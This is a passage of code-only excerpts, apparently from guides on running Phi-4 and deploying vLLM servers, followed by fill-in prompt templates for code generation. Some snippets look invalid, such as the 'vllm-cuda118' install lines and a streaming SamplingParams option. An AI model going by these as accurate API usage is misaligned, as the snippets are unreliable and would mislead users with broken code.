# - Optimized for mobile ARM processors
# - Hardware acceleration support

# Apple MLX (Apple Silicon)
# - Native M1/M2/M3 optimization
# - Metal acceleration

# NVIDIA CUDA (NVIDIA GPUs)
# - Full GPU acceleration
# - TensorRT optimization

# Process multiple prompts efficiently
prompts = [
    "Translate to Spanish: Hello world",
    "Summarize: The quick brown fox...",
    "Calculate: 15 * 24"
]

# Batch tokenization
inputs = tokenizer(prompts, return_tensors="pt", padding=True)

# Batch generation
outputs = model.generate(
    **inputs,
    max_length=100,
    pad_token_id=tokenizer.pad_token_id
)

# Decode all
results = [tokenizer.decode(out, skip_special_tokens=True) for out in outputs]

# Enable past_key_values caching for faster generation
def generate_with_cache(prompt, max_new_tokens=100):
    inputs = tokenizer(prompt, return_tensors="pt")

    # First token
    outputs = model(**inputs, use_cache=True)
    past_key_values = outputs.past_key_values
    next_token = outputs.logits[:, -1:].argmax(dim=-1)

    generated = [next_token.item()]

    # Subsequent tokens use cache
    for _ in range(max_new_tokens - 1):
        outputs = model(
            input_ids=next_token,
            past_key_values=past_key_values,
            use_cache=True
        )
        past_key_values = outputs.past_key_values
        next_token = outputs.logits[:, -1:].argmax(dim=-1)
        generated.append(next_token.item())

        if next_token == tokenizer.eos_token_id:
            break

    return tokenizer.decode(generated)

# Use Flash Attention 2 for faster inference
model = AutoModelForCausalLM.from_pretrained(
    "microsoft/phi-4",
    torch_dtype=torch.float16,
    attn_implementation="flash_attention_2",  # Requires flash-attn package
    device_map="auto"
)

# Significant speedup for long sequences

# Use smaller model for draft, larger for verification
draft_model = AutoModelForCausalLM.from_pretrained("microsoft/phi-3-mini")
target_model = AutoModelForCausalLM.from_pretrained("microsoft/phi-4")

# Can achieve 2-3x speedup with quality preservation

from transformers import BitsAndBytesConfig
import torch

# 8-bit quantization
config_8bit = BitsAndBytesConfig(load_in_8bit=True)

# 4-bit quantization (NF4)
config_4bit = BitsAndBytesConfig(
    load_in_4bit=True,
    bnb_4bit_use_double_quant=True,      # Double quantization
    bnb_4bit_quant_type="nf4",            # NormalFloat4
    bnb_4bit_compute_dtype=torch.bfloat16 # Compute dtype
)

model = AutoModelForCausalLM.from_pretrained(
    "microsoft/phi-4",
    quantization_config=config_4bit,
    device_map="auto"
)

from auto_gptq import AutoGPTQForCausalLM, BaseQuantizeConfig

# Configure quantization
quantize_config = BaseQuantizeConfig(
    bits=4,
    group_size=128,
    desc_act=False
)

# Load and quantize
model = AutoGPTQForCausalLM.from_pretrained(
    "microsoft/phi-4",
    quantize_config=quantize_config
)

# Quantize with calibration data
model.quantize(calibration_data)

# Save
model.save_quantized("phi-4-gptq")

from awq import AutoAWQForCausalLM

# Load model
model = AutoAWQForCausalLM.from_pretrained("microsoft/phi-4")

# Quantize
model.quantize(tokenizer, quant_config={"zero_point": True, "q_group_size": 128})

# Save
model.save_quantized("phi-4-awq")

from fastapi import FastAPI
from pydantic import BaseModel
import uvicorn

app = FastAPI()
model = AutoModelForCausalLM.from_pretrained("microsoft/phi-4")
tokenizer = AutoTokenizer.from_pretrained("microsoft/phi-4")

class GenerationRequest(BaseModel):
    prompt: str
    max_length: int = 200
    temperature: float = 0.7

@app.post("/generate")
async def generate(request: GenerationRequest):
    inputs = tokenizer(request.prompt, return_tensors="pt")
    outputs = model.generate(
        **inputs,
        max_length=request.max_length,
        temperature=request.temperature
    )
    text = tokenizer.decode(outputs[0], skip_special_tokens=True)
    return {"generated_text": text}

if __name__ == "__main__":
    uvicorn.run(app, host="0.0.0.0", port=8000)

from vllm import LLM, SamplingParams

# Initialize with PagedAttention
llm = LLM(
    model="microsoft/phi-4",
    tensor_parallel_size=1,
    dtype="half",
    max_model_len=4096
)

# Sampling parameters
sampling_params = SamplingParams(
    temperature=0.7,
    top_p=0.9,
    max_tokens=200
)

# Batch inference
prompts = ["Prompt 1", "Prompt 2", "Prompt 3"]
outputs = llm.generate(prompts, sampling_params)

for output in outputs:
    print(output.outputs[0].text)

# Run with Docker
docker run --gpus all \
  -p 8080:80 \
  -v $(pwd)/data:/data \
  ghcr.io/huggingface/text-generation-inference:latest \
  --model-id microsoft/phi-4 \
  --max-total-tokens 4096 \
  --max-input-length 3584

# Query the endpoint
curl http://localhost:8080/generate \
  -X POST \
  -d '{"inputs":"What is machine learning?","parameters":{"max_new_tokens":200}}' \
  -H 'Content-Type: application/json'

import time
import torch

def benchmark_model(model, tokenizer, prompt, runs=10):
    # Warmup
    inputs = tokenizer(prompt, return_tensors="pt").to(model.device)
    _ = model.generate(**inputs, max_length=100)

    # Benchmark
    times = []
    for _ in range(runs):
        torch.cuda.synchronize() if torch.cuda.is_available() else None
        start = time.time()

        outputs = model.generate(**inputs, max_length=100)

        torch.cuda.synchronize() if torch.cuda.is_available() else None
        end = time.time()

        times.append(end - start)

    avg_time = sum(times) / len(times)
    tokens_generated = len(outputs[0]) - len(inputs.input_ids[0])
    tokens_per_sec = tokens_generated / avg_time

    return {
        "avg_time": avg_time,
        "tokens_generated": tokens_generated,
        "tokens_per_second": tokens_per_sec
    }

# Run benchmark
results = benchmark_model(model, tokenizer, "Explain quantum computing:")
print(f"Average generation time: {results['avg_time']:.2f}s")
print(f"Tokens per second: {results['tokens_per_second']:.2f}")

from evaluate import load

# Perplexity
perplexity = load("perplexity")
results = perplexity.compute(predictions=predictions, model_id="microsoft/phi-4")

# BLEU score (for translation tasks)
bleu = load("bleu")
results = bleu.compute(predictions=predictions, references=references)

# ROUGE score (for summarization)
rouge = load("rouge")
results = rouge.compute(predictions=predictions, references=references)

from transformers import AutoModelForCausalLM
import torch

# Load base and fine-tuned models
base_model = AutoModelForCausalLM.from_pretrained("microsoft/phi-4")
ft_model = AutoModelForCausalLM.from_pretrained("./phi-4-finetuned")

# Merge with weighted average
alpha = 0.7  # Weight for fine-tuned model

for name, param in base_model.named_parameters():
    if name in ft_model.state_dict():
        param.data = alpha * ft_model.state_dict()[name] + (1 - alpha) * param.data

base_model.save_pretrained("./phi-4-merged")

from peft import PeftModel

# Load base model
base_model = AutoModelForCausalLM.from_pretrained("microsoft/phi-4")

# Load multiple adapters
model_with_adapter1 = PeftModel.from_pretrained(base_model, "./adapter1")
model_with_adapter2 = PeftModel.from_pretrained(base_model, "./adapter2")

# Switch between adapters dynamically
def generate_with_adapter(prompt, adapter_name):
    if adapter_name == "adapter1":
        model = model_with_adapter1
    else:
        model = model_with_adapter2

    # Generate
    inputs = tokenizer(prompt, return_tensors="pt")
    outputs = model.generate(**inputs)
    return tokenizer.decode(outputs[0])

from transformers import LogitsProcessor

class ForceWordsLogitsProcessor(LogitsProcessor):
    def __init__(self, force_word_ids):
        self.force_word_ids = force_word_ids

    def __call__(self, input_ids, scores):
        if len(input_ids[0]) in self.force_word_ids:
            word_ids = self.force_word_ids[len(input_ids[0])]
            mask = torch.full_like(scores, float('-inf'))
            mask[:, word_ids] = 0
            scores = scores + mask
        return scores

# Use in generation
logits_processor = LogitsProcessorList([
    ForceWordsLogitsProcessor({5: [tokenizer.encode("yes")[0]]})
])

outputs = model.generate(
    **inputs,
    logits_processor=logits_processor
)

# Example fix
training_args = TrainingArguments(
    per_device_train_batch_size=1,        # Reduce from 4 to 1
    gradient_accumulation_steps=16,        # Increase from 4 to 16
    gradient_checkpointing=True,           # Enable checkpointing
    deepspeed="ds_config.json"            # Use DeepSpeed
)

# Use bfloat16
training_args = TrainingArguments(
    bf16=True,
    fp16=False,
    learning_rate=2e-5,              # Lower learning rate
    max_grad_norm=1.0,               # Gradient clipping
)

# Install vLLM with CUDA 12.1
pip install vllm

# Or with specific CUDA version
pip install vllm-cuda118  # For CUDA 11.8
pip install vllm-cuda121  # For CUDA 12.1

# Pull official image
docker pull vllm/vllm-openai:latest

# Run server
docker run --runtime nvidia --gpus all \
    -v ~/.cache/huggingface:/root/.cache/huggingface \
    -p 8000:8000 \
    --ipc=host \
    vllm/vllm-openai:latest \
    --model mistralai/Mistral-7B-v0.1

git clone https://github.com/vllm-project/vllm.git
cd vllm
pip install -e .

# Test installation
python -c "import vllm; print(vllm.__version__)"

# Start OpenAI-compatible server
python -m vllm.entrypoints.openai.api_server \
    --model meta-llama/Llama-2-7b-hf \
    --port 8000

python -m vllm.entrypoints.openai.api_server \
    --model meta-llama/Llama-2-70b-hf \
    --tensor-parallel-size 4 \
    --gpu-memory-utilization 0.95 \
    --max-num-seqs 256 \
    --max-model-len 4096 \
    --port 8000 \
    --host 0.0.0.0 \
    --served-model-name llama2-70b

from vllm import LLM, SamplingParams

# Initialize model
llm = LLM(model="meta-llama/Llama-2-7b-hf")

# Define sampling parameters
sampling_params = SamplingParams(
    temperature=0.8,
    top_p=0.95,
    max_tokens=512
)

# Single prompt
prompt = "Explain quantum computing in simple terms:"
outputs = llm.generate(prompt, sampling_params)

for output in outputs:
    generated_text = output.outputs[0].text
    print(generated_text)

from vllm import LLM, SamplingParams

llm = LLM(
    model="meta-llama/Llama-2-7b-hf",
    tensor_parallel_size=2,
    gpu_memory_utilization=0.9
)

# Multiple prompts
prompts = [
    "What is machine learning?",
    "Explain neural networks.",
    "What is deep learning?"
]

sampling_params = SamplingParams(temperature=0.7, max_tokens=256)

# Batch generation
outputs = llm.generate(prompts, sampling_params)

for prompt, output in zip(prompts, outputs):
    print(f"Prompt: {prompt}")
    print(f"Generated: {output.outputs[0].text}\n")

sampling_params = SamplingParams(
    # Temperature sampling
    temperature=0.8,          # Randomness (0=deterministic, 1+=creative)
    top_p=0.95,              # Nucleus sampling
    top_k=50,                # Top-k sampling

    # Length control
    max_tokens=1024,         # Maximum tokens to generate
    min_tokens=10,           # Minimum tokens to generate

    # Stopping conditions
    stop=["</s>", "\n\n"],   # Stop sequences

    # Penalties
    presence_penalty=0.1,    # Penalize repeated topics
    frequency_penalty=0.1,   # Penalize repeated tokens
    repetition_penalty=1.1,  # Alternative repetition control

    # Beam search
    n=1,                     # Number of completions
    best_of=1,               # Generate best_of and return n best
    use_beam_search=False,   # Use beam search instead of sampling

    # Other
    logprobs=None,           # Return log probabilities
    skip_special_tokens=True # Skip special tokens in output
)

from openai import OpenAI

# Point to vLLM server
client = OpenAI(
    base_url="http://localhost:8000/v1",
    api_key="EMPTY"  # vLLM doesn't require API key by default
)

# Chat completion
response = client.chat.completions.create(
    model="meta-llama/Llama-2-7b-hf",
    messages=[
        {"role": "system", "content": "You are a helpful assistant."},
        {"role": "user", "content": "Explain vLLM in one sentence."}
    ],
    temperature=0.7,
    max_tokens=100
)

print(response.choices[0].message.content)

from openai import OpenAI

client = OpenAI(base_url="http://localhost:8000/v1", api_key="EMPTY")

# Streaming chat completion
stream = client.chat.completions.create(
    model="meta-llama/Llama-2-7b-hf",
    messages=[{"role": "user", "content": "Write a short story."}],
    stream=True,
    max_tokens=500
)

for chunk in stream:
    if chunk.choices[0].delta.content is not None:
        print(chunk.choices[0].delta.content, end="", flush=True)

# Completion request
curl http://localhost:8000/v1/completions \
    -H "Content-Type: application/json" \
    -d '{
        "model": "meta-llama/Llama-2-7b-hf",
        "prompt": "Once upon a time",
        "max_tokens": 100,
        "temperature": 0.7
    }'

# Chat completion
curl http://localhost:8000/v1/chat/completions \
    -H "Content-Type: application/json" \
    -d '{
        "model": "meta-llama/Llama-2-7b-hf",
        "messages": [
            {"role": "user", "content": "Hello!"}
        ],
        "max_tokens": 100
    }'

from vllm import LLM, SamplingParams

llm = LLM(model="meta-llama/Llama-2-7b-hf")

sampling_params = SamplingParams(
    temperature=0.8,
    max_tokens=512,
    stream=True  # Enable streaming
)

prompt = "Write a detailed explanation of vLLM:"

# Stream tokens as they're generated
for output in llm.generate(prompt, sampling_params):
    for token_output in output.outputs:
        print(token_output.text, end="", flush=True)

from vllm import LLM

# Use 4 GPUs with tensor parallelism
llm = LLM(
    model="meta-llama/Llama-2-70b-hf",
    tensor_parallel_size=4,
    dtype="bfloat16"
)

# Server with tensor parallelism
python -m vllm.entrypoints.openai.api_server \
    --model meta-llama/Llama-2-70b-hf \
    --tensor-parallel-size 4

llm = LLM(
    model="meta-llama/Llama-2-70b-hf",
    pipeline_parallel_size=2,
    tensor_parallel_size=2  # Can combine both
)

from vllm import LLM

# Load AWQ quantized model
llm = LLM(
    model="TheBloke/Llama-2-7B-AWQ",
    quantization="awq",
    dtype="half"
)

# Server with AWQ
python -m vllm.entrypoints.openai.api_server \
    --model TheBloke/Llama-2-70B-AWQ \
    --quantization awq \
    --dtype half

llm = LLM(
    model="TheBloke/Llama-2-7B-GPTQ",
    quantization="gptq"
)

llm = LLM(
    model="squeeze-ai-lab/sq-llama-2-7b-w4",
    quantization="squeezellm"
)

python -m vllm.entrypoints.openai.api_server \
    --model meta-llama/Llama-2-7b-hf \
    --enable-lora \
    --lora-modules \
        sql-lora=/path/to/sql-adapter \
        code-lora=/path/to/code-adapter \
    --max-lora-rank 64

from openai import OpenAI

client = OpenAI(base_url="http://localhost:8000/v1", api_key="EMPTY")

# Use specific LoRA adapter
response = client.chat.completions.create(
    model="sql-lora",  # Specify LoRA adapter name
    messages=[{"role": "user", "content": "Generate SQL query"}]
)

from vllm import LLM

llm = LLM(
    model="meta-llama/Llama-2-70b-hf",  # Target model
    speculative_model="meta-llama/Llama-2-7b-hf",  # Draft model
    num_speculative_tokens=5
)

llm = LLM(
    model="meta-llama/Llama-2-7b-hf",
    gpu_memory_utilization=0.95,  # Use 95% of GPU memory
    swap_space=4  # 4GB CPU swap space
)

llm = LLM(
    model="meta-llama/Llama-2-7b-hf",
    block_size=16,  # Tokens per block (default: 16)
    max_num_seqs=256,  # Max concurrent sequences
    max_num_batched_tokens=8192  # Max tokens per batch
)

llm = LLM(
    model="meta-llama/Llama-2-7b-hf",
    max_num_seqs=512,  # High concurrency
    gpu_memory_utilization=0.95,
    dtype="bfloat16",
    enforce_eager=False,  # Use CUDA graph
    max_model_len=2048  # Limit sequence length
)

llm = LLM(
    model="meta-llama/Llama-2-7b-hf",
    max_num_seqs=32,  # Lower concurrency
    gpu_memory_utilization=0.8,
    dtype="float16"
)

# Options: auto, half, float16, bfloat16, float32
llm = LLM(model="...", dtype="bfloat16")

# CUDA optimization
export CUDA_VISIBLE_DEVICES=0,1,2,3
export NCCL_DEBUG=INFO  # For debugging multi-GPU

# vLLM configuration
export VLLM_USE_MODELSCOPE=True  # Use ModelScope hub
export VLLM_ATTENTION_BACKEND=FLASH_ATTN  # Use Flash Attention
export VLLM_WORKER_MULTIPROC_METHOD=spawn  # Worker process method

# Logging
export VLLM_LOGGING_LEVEL=INFO

# production_server.py
import asyncio
from vllm.engine.arg_utils import AsyncEngineArgs
from vllm.engine.async_llm_engine import AsyncLLMEngine
from vllm.sampling_params import SamplingParams
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel

app = FastAPI()

# Initialize engine
engine_args = AsyncEngineArgs(
    model="meta-llama/Llama-2-7b-hf",
    tensor_parallel_size=2,
    gpu_memory_utilization=0.95,
    max_num_seqs=256
)
engine = AsyncLLMEngine.from_engine_args(engine_args)

class GenerateRequest(BaseModel):
    prompt: str
    max_tokens: int = 512
    temperature: float = 0.7

@app.post("/generate")
async def generate(request: GenerateRequest):
    try:
        sampling_params = SamplingParams(
            temperature=request.temperature,
            max_tokens=request.max_tokens
        )

        request_id = f"req-{asyncio.current_task().get_name()}"
        results_generator = engine.generate(
            request.prompt,
            sampling_params,
            request_id
        )

        final_output = None
        async for output in results_generator:
            final_output = output

        return {"text": final_output.outputs[0].text}
    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))

@app.get("/health")
async def health():
    return {"status": "healthy"}

# batch_processor.py
from vllm import LLM, SamplingParams
from typing import List, Dict
import asyncio
from concurrent.futures import ThreadPoolExecutor

class BatchProcessor:
    def __init__(self, model_name: str, batch_size: int = 32):
        self.llm = LLM(
            model=model_name,
            tensor_parallel_size=2,
            max_num_seqs=batch_size,
            gpu_memory_utilization=0.95
        )
        self.batch_size = batch_size

    def process_batch(
        self,
        prompts: List[str],
        sampling_params: SamplingParams
    ) -> List[str]:
        """Process a batch of prompts"""
        outputs = self.llm.generate(prompts, sampling_params)
        return [output.outputs[0].text for output in outputs]

    def process_large_dataset(
        self,
        prompts: List[str],
        sampling_params: SamplingParams
    ) -> List[str]:
        """Process dataset in batches"""
        results = []

        for i in range(0, len(prompts), self.batch_size):
            batch = prompts[i:i + self.batch_size]
            batch_results = self.process_batch(batch, sampling_params)
            results.extend(batch_results)

            print(f"Processed {min(i + self.batch_size, len(prompts))}/{len(prompts)}")

        return results

# Usage
processor = BatchProcessor("meta-llama/Llama-2-7b-hf", batch_size=64)
prompts = ["Prompt 1", "Prompt 2", ...]  # Large dataset
sampling_params = SamplingParams(temperature=0.7, max_tokens=256)
results = processor.process_large_dataset(prompts, sampling_params)

# router.py
from vllm import LLM, SamplingParams
from enum import Enum
from typing import Dict

class ModelSize(Enum):
    SMALL = "7b"
    MEDIUM = "13b"
    LARGE = "70b"

class ModelRouter:
    def __init__(self):
        self.models: Dict[ModelSize, LLM] = {
            ModelSize.SMALL: LLM("meta-llama/Llama-2-7b-hf"),
            ModelSize.MEDIUM: LLM(
                "meta-llama/Llama-2-13b-hf",
                tensor_parallel_size=2
            ),
            ModelSize.LARGE: LLM(
                "meta-llama/Llama-2-70b-hf",
                tensor_parallel_size=4
            )
        }

    def route_request(self, prompt: str, complexity: str = "auto") -> str:
        """Route request to appropriate model based on complexity"""
        if complexity == "auto":
            # Simple heuristic: route by prompt length
            model_size = (
                ModelSize.LARGE if len(prompt) > 1000
                else ModelSize.MEDIUM if len(prompt) > 500
                else ModelSize.SMALL
            )
        else:
            model_size = ModelSize[complexity.upper()]

        llm = self.models[model_size]
        sampling_params = SamplingParams(temperature=0.7, max_tokens=512)
        output = llm.generate(prompt, sampling_params)

        return output[0].outputs[0].text

# Usage
router = ModelRouter()
result = router.route_request("Short question", complexity="auto")

# robust_client.py
from openai import OpenAI
from tenacity import retry, stop_after_attempt, wait_exponential
import logging

logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

class RobustVLLMClient:
    def __init__(self, base_url: str = "http://localhost:8000/v1"):
        self.client = OpenAI(base_url=base_url, api_key="EMPTY")

    @retry(
        stop=stop_after_attempt(3),
        wait=wait_exponential(multiplier=1, min=2, max=10)
    )
    def generate(
        self,
        messages: list,
        model: str = "default",
        **kwargs
    ) -> str:
        """Generate with automatic retries"""
        try:
            response = self.client.chat.completions.create(
                model=model,
                messages=messages,
                **kwargs
            )
            return response.choices[0].message.content
        except Exception as e:
            logger.error(f"Generation failed: {e}")
            raise

    def generate_with_fallback(
        self,
        messages: list,
        primary_model: str,
        fallback_model: str,
        **kwargs
    ) -> tuple[str, str]:
        """Try primary model, fallback to secondary on failure"""
        try:
            result = self.generate(messages, model=primary_model, **kwargs)
            return result, primary_model
        except Exception as e:
            logger.warning(f"Primary model failed: {e}, using fallback")
            result = self.generate(messages, model=fallback_model, **kwargs)
            return result, fallback_model

# Usage
client = RobustVLLMClient()
messages = [{"role": "user", "content": "Hello!"}]
response, model_used = client.generate_with_fallback(
    messages,
    primary_model="llama-70b",
    fallback_model="llama-7b"
)

# monitoring.py
from prometheus_client import Counter, Histogram, Gauge, start_http_server
from vllm import LLM, SamplingParams
import time
from typing import List

# Prometheus metrics
REQUEST_COUNT = Counter('vllm_requests_total', 'Total requests')
REQUEST_DURATION = Histogram('vllm_request_duration_seconds', 'Request duration')
ACTIVE_REQUESTS = Gauge('vllm_active_requests', 'Active requests')
TOKENS_GENERATED = Counter('vllm_tokens_generated_total', 'Total tokens generated')
REQUEST_ERRORS = Counter('vllm_request_errors_total', 'Total errors')

class MonitoredLLM:
    def __init__(self, model_name: str):
        self.llm = LLM(model=model_name)
        # Start Prometheus metrics server
        start_http_server(9090)

    def generate(self, prompts: List[str], sampling_params: SamplingParams):
        REQUEST_COUNT.inc(len(prompts))
        ACTIVE_REQUESTS.inc(len(prompts))

        start_time = time.time()

        try:
            outputs = self.llm.generate(prompts, sampling_params)

            # Track tokens generated
            for output in outputs:
                TOKENS_GENERATED.inc(len(output.outputs[0].token_ids))

            return outputs
        except Exception as e:
            REQUEST_ERRORS.inc()
            raise
        finally:
            duration = time.time() - start_time
            REQUEST_DURATION.observe(duration)
            ACTIVE_REQUESTS.dec(len(prompts))

# Usage
llm = MonitoredLLM("meta-llama/Llama-2-7b-hf")
# Metrics available at http://localhost:9090/metrics

# caching.py
from vllm import LLM, SamplingParams
from functools import lru_cache
import hashlib
import json
from typing import Optional
import redis

class CachedLLM:
    def __init__(self, model_name: str, redis_url: Optional[str] = None):
        self.llm = LLM(model=model_name)
        self.redis_client = redis.from_url(redis_url) if redis_url else None

    def _cache_key(self, prompt: str, sampling_params: SamplingParams) -> str:
        """Generate cache key from prompt and params"""
        params_str = json.dumps({
            "temperature": sampling_params.temperature,
            "max_tokens": sampling_params.max_tokens,
            "top_p": sampling_params.top_p,
            "top_k": sampling_params.top_k,
        }, sort_keys=True)

        key_str = f"{prompt}:{params_str}"
        return hashlib.sha256(key_str.encode()).hexdigest()

    def generate(self, prompt: str, sampling_params: SamplingParams) -> str:
        """Generate with caching"""
        # Check cache
        if self.redis_client:
            cache_key = self._cache_key(prompt, sampling_params)
            cached = self.redis_client.get(cache_key)

            if cached:
                return cached.decode('utf-8')

        # Generate
        output = self.llm.generate(prompt, sampling_params)
        result = output[0].outputs[0].text

        # Store in cache
        if self.redis_client:
            self.redis_client.setex(
                cache_key,
                3600,  # 1 hour TTL
                result
            )

        return result

# Usage
llm = CachedLLM("meta-llama/Llama-2-7b-hf", redis_url="redis://localhost:6379")

llm = LLM(model="meta-llama/Llama-2-7b-hf")

llm = LLM(model="/path/to/local/model")

llm = LLM(
    model="meta-llama/Llama-2-7b-hf",
    tokenizer="meta-llama/Llama-2-7b-hf",
    tokenizer_mode="auto"  # or "slow"
)

# Set HuggingFace token
export HF_TOKEN=your_token_here

# Or in code
llm = LLM(
    model="meta-llama/Llama-2-7b-hf",
    download_dir="/custom/cache/dir"
)

# Warm up model with sample request
llm = LLM(model="meta-llama/Llama-2-7b-hf")

# Warm up
_ = llm.generate("Hello", SamplingParams(max_tokens=1))

# Now ready for production requests

import logging

# Configure vLLM logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s'
)

# vLLM-specific loggers
logging.getLogger('vllm').setLevel(logging.DEBUG)
logging.getLogger('vllm.engine').setLevel(logging.INFO)

curl http://localhost:8000/metrics

# Enable debug logging
python -m vllm.entrypoints.openai.api_server \
    --model meta-llama/Llama-2-7b-hf \
    --log-level debug

# Health endpoint
curl http://localhost:8000/health

# Returns:
# {"status": "ok"}

# Model info
curl http://localhost:8000/v1/models

# Reduce GPU memory utilization
llm = LLM(model="...", gpu_memory_utilization=0.8)

# Reduce max sequence length
llm = LLM(model="...", max_model_len=2048)

# Enable CPU swap
llm = LLM(model="...", swap_space=8)

# Use quantization
llm = LLM(model="...", quantization="awq")

# Use tensor parallelism
llm = LLM(model="...", tensor_parallel_size=2)

# Increase batch size
llm = LLM(model="...", max_num_seqs=256)

# Use CUDA graph
llm = LLM(model="...", enforce_eager=False)

# Optimize data type
llm = LLM(model="...", dtype="bfloat16")

# Check GPU utilization
nvidia-smi dmon -s u

# Clear cache and re-download
rm -rf ~/.cache/huggingface
huggingface-cli download meta-llama/Llama-2-7b-hf

# Verify model path
ls -la /path/to/model/

# Check authentication
export HF_TOKEN=your_token

# Debug NCCL
export NCCL_DEBUG=INFO
export NCCL_P2P_DISABLE=1  # Disable P2P if issues

# Check GPU visibility
nvidia-smi topo -m

# Verify CUDA version
python -c "import torch; print(torch.cuda.is_available())"

# Enable profiling
import torch.profiler

with torch.profiler.profile(
    activities=[torch.profiler.ProfilerActivity.CPU,
                torch.profiler.ProfilerActivity.CUDA]
) as prof:
    llm.generate(prompt, sampling_params)

print(prof.key_averages().table(sort_by="cuda_time_total"))

# docker-compose.yml
version: '3.8'
services:
  vllm:
    image: vllm/vllm-openai:latest
    runtime: nvidia
    environment:
      - NVIDIA_VISIBLE_DEVICES=all
      - VLLM_LOGGING_LEVEL=INFO
    volumes:
      - ~/.cache/huggingface:/root/.cache/huggingface
    ports:
      - "8000:8000"
    command: >
      --model meta-llama/Llama-2-7b-hf
      --tensor-parallel-size 2
      --gpu-memory-utilization 0.95
      --max-num-seqs 256
      --host 0.0.0.0
    deploy:
      resources:
        reservations:
          devices:
            - driver: nvidia
              count: 2
              capabilities: [gpu]
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:8000/health"]
      interval: 30s
      timeout: 10s
      retries: 3

# Add authentication
from fastapi import Security, HTTPException
from fastapi.security import HTTPBearer, HTTPAuthorizationCredentials

security = HTTPBearer()

@app.post("/generate")
async def generate(
    request: GenerateRequest,
    credentials: HTTPAuthorizationCredentials = Security(security)
):
    if credentials.credentials != "your-secret-token":
        raise HTTPException(status_code=401, detail="Invalid token")
    # ... generate logic

# Rate limiting with nginx
# nginx.conf
limit_req_zone $binary_remote_addr zone=api_limit:10m rate=10r/s;

server {
    location / {
        limit_req zone=api_limit burst=20 nodelay;
        proxy_pass http://vllm_backend:8000;
    }
}

from langchain.llms import VLLM
from langchain.prompts import PromptTemplate
from langchain.chains import LLMChain

# Initialize vLLM
llm = VLLM(
    model="meta-llama/Llama-2-7b-hf",
    trust_remote_code=True,
    max_new_tokens=512,
    temperature=0.7
)

# Create chain
template = """Question: {question}

Answer: Let's think step by step."""

prompt = PromptTemplate(template=template, input_variables=["question"])
chain = LLMChain(prompt=prompt, llm=llm)

# Run
result = chain.run("What is vLLM?")
print(result)

from ray import serve
from vllm import LLM, SamplingParams
import ray

ray.init()
serve.start()

@serve.deployment(
    ray_actor_options={"num_gpus": 2},
    max_concurrent_queries=100
)
class VLLMDeployment:
    def __init__(self):
        self.llm = LLM(
            model="meta-llama/Llama-2-7b-hf",
            tensor_parallel_size=2
        )

    def __call__(self, request):
        prompt = request.query_params["prompt"]
        sampling_params = SamplingParams(temperature=0.7, max_tokens=512)
        output = self.llm.generate(prompt, sampling_params)
        return output[0].outputs[0].text

VLLMDeployment.deploy()

# vllm-deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: vllm-server
spec:
  replicas: 2
  selector:
    matchLabels:
      app: vllm
  template:
    metadata:
      labels:
        app: vllm
    spec:
      containers:
      - name: vllm
        image: vllm/vllm-openai:latest
        args:
          - --model
          - meta-llama/Llama-2-7b-hf
          - --tensor-parallel-size
          - "2"
          - --gpu-memory-utilization
          - "0.95"
        resources:
          limits:
            nvidia.com/gpu: 2
          requests:
            nvidia.com/gpu: 2
        ports:
        - containerPort: 8000
        livenessProbe:
          httpGet:
            path: /health
            port: 8000
          initialDelaySeconds: 60
          periodSeconds: 30
---
apiVersion: v1
kind: Service
metadata:
  name: vllm-service
spec:
  selector:
    app: vllm
  ports:
    - port: 80
      targetPort: 8000
  type: LoadBalancer

# Start server
python -m vllm.entrypoints.openai.api_server --model <model>

# Check version
python -c "import vllm; print(vllm.__version__)"

# Test inference
curl http://localhost:8000/v1/completions \
  -H "Content-Type: application/json" \
  -d '{"model": "<model>", "prompt": "Hello", "max_tokens": 50}'

# Monitor GPU
nvidia-smi dmon -s u -d 1

# Check metrics
curl http://localhost:8000/metrics

Generate a [language] function that [purpose].

Requirements:
- Function name: [name]
- Parameters: [param1: type], [param2: type]
- Return type: [type]
- Handle edge cases: [cases]
- Include type hints/annotations
- Add docstring/comments
- Include error handling

Example usage: [expected usage]

Generate a Python function that validates email addresses using regex.

Requirements:
- Function name: validate_email
- Parameters: email: str
- Return type: bool
- Handle edge cases: empty string, None, malformed emails
- Include type hints
- Add docstring with examples
- Include comprehensive regex pattern

Example usage:
validate_email("user@example.com") # True
validate_email("invalid.email") # False

Create an async [language] function that [purpose].

Requirements:
- Use async/await syntax
- Handle concurrent operations
- Include timeout handling: [timeout]
- Error handling: [strategy]
- Return type: [type]
- Dependencies: [libraries]

Performance considerations:
- [specific requirements]

Create an async Python function that fetches data from multiple APIs concurrently.

Requirements:
- Use aiohttp for HTTP requests
- Handle 3+ concurrent API calls
- Include 5-second timeout per request
- Error handling: return None for failed requests
- Return type: list[dict | None]
- Include retry logic (max 3 attempts)

Performance considerations:
- Use connection pooling
- Limit concurrent requests to 10

Create a [language] class that [purpose].

Structure:
- Class name: [name]
- Inherits from: [base classes]
- Attributes: [list attributes with types]
- Methods: [list methods with signatures]

Requirements:
- Design pattern: [pattern if applicable]
- Encapsulation: [public/private members]
- Include: __init__, __str__, __repr__ (Python) or toString, equals (Java)
- Validation in constructor
- Property getters/setters where appropriate
- Type annotations/generics

Include:
- Docstrings/JavaDoc
- Usage example
- Unit test example

Create a Python class that represents a thread-safe cache with TTL (time-to-live).

Structure:
- Class name: TTLCache
- Attributes: max_size: int, default_ttl: int, _cache: dict, _lock: Lock
- Methods: get(key), set(key, value, ttl=None), delete(key), clear(), size()

Requirements:
- Design pattern: Singleton (optional mode)
- Thread-safe using threading.Lock
- Auto-cleanup of expired entries
- LRU eviction when max_size reached
- Type hints throughout

Include:
- Comprehensive docstrings
- Usage examples
- Unit test with threading

Define a [language] interface/protocol for [purpose].

Specification:
- Name: [interface name]
- Methods: [method signatures]
- Properties: [property definitions]
- Generic types: [if applicable]

Also provide:
- Implementation example
- Use case documentation
- Why this abstraction is useful

Create a [framework] REST API endpoint that [purpose].

Specifications:
- HTTP Method: [GET/POST/PUT/DELETE]
- Route: [/api/v1/resource]
- Request body: [schema]
- Response: [schema with status codes]
- Authentication: [method]
- Authorization: [rules]

Requirements:
- Input validation
- Error handling (400, 401, 403, 404, 500)
- Logging
- Rate limiting: [if needed]
- Pagination: [if applicable]
- OpenAPI/Swagger documentation

Include:
- Request/response examples
- cURL examples
- Unit tests

